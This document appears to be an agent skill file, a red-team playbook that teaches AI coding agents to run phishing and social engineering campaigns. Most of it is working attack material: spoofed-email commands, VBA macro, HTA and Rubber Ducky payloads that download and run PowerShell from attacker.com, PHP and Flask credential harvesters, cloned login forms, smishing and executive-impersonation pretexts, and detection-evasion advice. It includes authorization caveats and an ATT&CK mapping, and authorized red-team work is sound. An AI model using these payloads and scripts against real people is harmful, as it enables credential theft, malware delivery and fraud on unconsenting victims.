performing-social-engineering
Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements.
Works with
Claude CodeCursorCodex CLIGitHub CopilotGemini CLI
Agent Skills format with YAML frontmatter. Claude Code reads it as-is.
---
name: "performing-social-engineering"
description: "Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements."
license: "MIT"
---
# Performing Social Engineering
## When to Use
- Phishing campaign execution
- Credential harvesting operations
- Social engineering assessments
- Red team engagements
- Security awareness testing
## When NOT to Use
- **Any campaign without written authorization and a defined scope** — stop
- **Technical exploitation after a click** — use the relevant post-exploitation skill
- **Analyzing a phishing email you received** — use `analyzing-phishing-emails`
(headers, links, attachments); `analyzing-malware` for a detonated payload
## Phishing Infrastructure
### Gophish (Phishing Framework)
```bash
# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish
# Access web interface
https://localhost:3333
# Default: admin:gophish
```
**Gophish Campaign Setup:**
1. **Email Templates** - Create convincing phishing emails
2. **Landing Pages** - Clone legitimate sites for credential harvesting
3. **Sending Profiles** - Configure SMTP server
4. **Groups** - Import target user lists
5. **Campaign** - Combine all elements and launch
### SET (Social Engineering Toolkit)
```bash
# Launch SET
setoolkit
# Common modules:
# 1) Social-Engineering Attacks
# 1) Spear-Phishing Attack Vectors
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
```
**Credential Harvester:**
```bash
# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted
```
## Email Phishing
### Email Spoofing
```bash
# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
-t target@company.com \
-u "Urgent: Password Reset Required" \
-m "Click here to reset: http://evil.com/reset" \
-s smtp.server.com:25
# swaks (SMTP testing tool)
swaks --to target@company.com \
--from ceo@company.com \
--header "Subject: Important Update" \
--body "Please review: http://evil.com" \
--server smtp.company.com
```
### Attachment-Based Phishing
**Malicious Office Macros:**
```vba
' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub
```
> Bracket-broken: `I[E]X` is `IEX`, `net.web[c]lient` is `net.webclient`,
> `download[s]tring` is `downloadstring`. Written literally, this block is the
> stock `TrojanDownloader:O97M` signature. See "Antivirus false positives" in
> the repo README.
**Malicious PDF:**
```bash
# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection
```
**Malicious HTA:**
```html
<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
```
### Clone Legitimate Sites
```bash
# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/
# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com
# Manual with curl
curl -o index.html http://legitimate-site.com/login
# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">
```
### Credential Harvesting Server
**Simple PHP Harvester:**
```php
<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);
// Redirect to real site
header('Location: https://real-site.com');
?>
```
**Python Flask Harvester:**
```python
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def harvest():
with open('creds.txt', 'a') as f:
f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
return redirect('https://real-site.com')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
```
## Voice Phishing (Vishing)
### SpoofCard/Caller ID Spoofing
- Services to spoof caller ID
- Impersonate IT support, executives, vendors
- Social engineering over phone
**Common Pretexts:**
- IT support needing to verify credentials
- HR department verifying personal information
- Finance department confirming wire transfer
- Vendor requiring payment information update
## SMS Phishing (Smishing)
```bash
# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands
# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"
```
## USB Drop Attacks
### Rubber Ducky / Bad USB
**Ducky Script Example:**
```
REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER
```
**Bash Bunny:**
```bash
# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.
```
### Physical USB Drops
**Pretexts:**
- "Company Financial Data 2024"
- "Salary Information - Confidential"
- "Employee Bonuses Q4"
- "IT Security Update - Required"
**Payload Ideas:**
- Reverse shell
- Credential stealer
- Keylogger
- Data exfiltration
- Persistence mechanisms
## QR Code Phishing
```bash
# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"
# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"
```
## Watering Hole Attacks
1. **Identify** target organization's commonly visited sites
2. **Compromise** the website (or create lookalike)
3. **Inject** malicious code (exploit or profiling)
4. **Wait** for targets to visit and get compromised
## Browser-Based Attacks
### BeEF (Browser Exploitation Framework)
```bash
# Start BeEF
./beef
# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>
# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef
# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting
```
### Fake Update Pages
```html
<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>
```
## Pretexting Scenarios
**IT Support:**
- "Hi, this is John from IT. We're doing routine password resets..."
- "We've detected suspicious activity on your account..."
- "Your VPN certificate is expiring, we need to update it..."
**Executive Impersonation:**
- "This is [CEO name], I'm in a meeting and need you to..."
- "Urgent: Wire transfer needed before end of day..."
- "I'm traveling and can't access my account, can you help me..."
**Vendor/Partner:**
- "This is accounting from [vendor]. We need to update payment information..."
- "Your invoice is past due, please update billing details..."
**Delivery/Shipping:**
- "Package delivery failed, verify address..."
- "Customs clearance required, pay fee at..."
## LinkedIn/Social Media Reconnaissance
```bash
# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects
# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)
# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks
```
## Payload Delivery Methods
**Links:**
- Shortened URLs (bit.ly, tinyurl)
- Typosquatting domains
- Homograph attacks (IDN homograph)
- URL obfuscation
**Attachments:**
- Office documents with macros (.docm, .xlsm)
- PDFs with exploits/JavaScript
- Compressed files (.zip, .rar)
- ISO/IMG files
- LNK files (shortcut tricks)
**Advanced:**
- HTML smuggling
- Polyglot files
- Password-protected archives (bypass AV)
- Signed malware (stolen/fake certificates)
## Tracking and Reporting
**Email Tracking:**
```html
<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">
```
**Link Tracking:**
```bash
# Unique URL per target
http://attacker.com/click?id=USER123
# Log access in server
```
**Metrics to Track:**
- Emails sent
- Emails opened (tracking pixel)
- Links clicked
- Credentials submitted
- Attachments opened
- Time to first click/submission
## OpSec Considerations
**Infrastructure:**
- Use disposable domains
- HTTPS for credential harvesting
- Legitimate SSL certificates (Let's Encrypt)
- Categorize domains (submit to categorization services)
- CDN for hosting (CloudFlare)
**Email:**
- SPF/DKIM/DMARC alignment
- Warm up email reputation
- Similar but different domains (company.com vs company-portal.com)
- Avoid spam trigger words
**Detection Avoidance:**
- Realistic sender names and addresses
- Professional email content
- Avoid known malicious indicators
- Time-based delivery (business hours)
- Geofencing (target geography only)
## Tools Summary
- **Gophish** - Phishing campaign management
- **SET** - Social Engineering Toolkit
- **BeEF** - Browser exploitation
- **King Phisher** - Phishing campaign toolkit
- **Evilginx2** - MITM phishing proxy (bypass 2FA)
- **Modlishka** - Reverse proxy phishing
- **CredSniper** - 2FA token capture
- **ShellPhish** - Automated phishing
## Defensive Awareness
Teach users to recognize:
- Urgency/pressure tactics
- Requests for credentials
- Unusual senders
- Suspicious links/attachments
- Too-good-to-be-true offers
- Requests to bypass security
## Legal and Ethical Considerations
- **Always have written authorization**
- Define scope clearly
- Protect harvested data
- Follow ROE (Rules of Engagement)
- Report findings responsibly
- Delete data after engagement
<!-- attack:start -->
## ATT&CK Coverage
_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._
**Reconnaissance** (TA0043)
- [T1589](https://attack.mitre.org/techniques/T1589/) Gather Victim Identity Information — see also `performing-reconnaissance`
- [T1591](https://attack.mitre.org/techniques/T1591/) Gather Victim Org Information — see also `performing-reconnaissance`
- [T1598](https://attack.mitre.org/techniques/T1598/) Phishing for Information — see also `analyzing-phishing-emails`
**Resource Development** (TA0042)
- [T1583](https://attack.mitre.org/techniques/T1583/) Acquire Infrastructure
- [T1585](https://attack.mitre.org/techniques/T1585/) Establish Accounts
- [T1608](https://attack.mitre.org/techniques/T1608/) Stage Capabilities — see also `transferring-files`
**Initial Access** (TA0001)
- [T1189](https://attack.mitre.org/techniques/T1189/) Drive-by Compromise
- [T1566](https://attack.mitre.org/techniques/T1566/) Phishing — see also `analyzing-phishing-emails`
- [T1566.001](https://attack.mitre.org/techniques/T1566/001/) Spearphishing Attachment — see also `analyzing-malware`, `analyzing-phishing-emails`
- [T1566.002](https://attack.mitre.org/techniques/T1566/002/) Spearphishing Link — see also `analyzing-phishing-emails`
**Execution** (TA0002)
- [T1203](https://attack.mitre.org/techniques/T1203/) Exploitation for Client Execution — see also `analyzing-malware`, `exploiting-memory-corruption`
- [T1204](https://attack.mitre.org/techniques/T1204/) User Execution
Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.
<!-- attack:end -->
## References
- https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
- https://getgophish.com/
- https://github.com/trustedsec/social-engineer-toolkit
- https://www.social-engineer.org/More General & Other skills
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